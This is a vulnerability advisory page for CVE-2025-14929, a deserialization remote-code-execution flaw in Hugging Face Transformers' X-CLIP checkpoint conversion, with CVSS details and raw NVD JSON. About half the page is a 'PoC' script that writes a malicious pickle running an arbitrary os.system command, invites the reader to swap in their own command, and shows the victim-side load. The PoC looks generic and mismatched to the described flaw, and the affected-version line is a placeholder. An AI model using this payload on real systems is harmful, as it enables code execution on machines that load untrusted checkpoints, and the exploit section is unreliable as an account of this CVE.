Security Vulnerability Report
中文
CVE-2025-14929 CVSS 7.8 HIGH

CVE-2025-14929

Published: 2025-12-23 21:15:48
Last Modified: 2026-01-21 16:38:41

Description

Hugging Face Transformers X-CLIP Checkpoint Conversion Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face Transformers. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of checkpoints. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28308.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:huggingface:transformers:5.0.0:rc0:*:*:*:*:*:* - VULNERABLE
Hugging Face Transformers < 修复版本
X-CLIP 模型检查点转换功能所有版本均受影响

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14929 PoC - Malicious X-CLIP Checkpoint Generator # This PoC demonstrates creating a malicious checkpoint that triggers RCE upon loading import pickle import os import sys # Malicious payload that executes arbitrary command # This will be called during pickle deserialization via __reduce__ class MaliciousPayload: def __reduce__(self): # Change this to your actual command cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) def create_malicious_checkpoint(output_path): """ Create a malicious checkpoint file that exploits CVE-2025-14929 The vulnerability is in X-CLIP checkpoint conversion/deserialization """ # Create the malicious payload payload = MaliciousPayload() # Serialize with pickle (vulnerable to arbitrary code execution) malicious_data = pickle.dumps(payload) # Write to file (could be .pt, .pth, .bin, or any checkpoint format) with open(output_path, 'wb') as f: f.write(malicious_data) print(f"[+] Malicious checkpoint created: {output_path}") print(f"[+] When loaded by vulnerable Transformers version, will execute: whoami > /tmp/pwned.txt") # Usage: # python cve_2025_14929_poc.py malicious_checkpoint.pth if __name__ == "__main__": if len(sys.argv) > 1: create_malicious_checkpoint(sys.argv[1]) else: create_malicious_checkpoint("malicious_xclip_checkpoint.pth") # To trigger the vulnerability (victim-side code): # # from transformers import XCLIPModel # model = XCLIPModel.from_pretrained("./malicious_checkpoint.pth") # # This will automatically trigger the malicious __reduce__ method during checkpoint loading

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14929", "sourceIdentifier": "[email protected]", "published": "2025-12-23T21:15:48.240", "lastModified": "2026-01-21T16:38:41.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hugging Face Transformers X-CLIP Checkpoint Conversion Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face Transformers. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of checkpoints. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28308."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:huggingface:transformers:5.0.0:rc0:*:*:*:*:*:*", "matchCriteriaId": "70A12094-61B0-49E7-9663-73E5B874E819"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1144/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}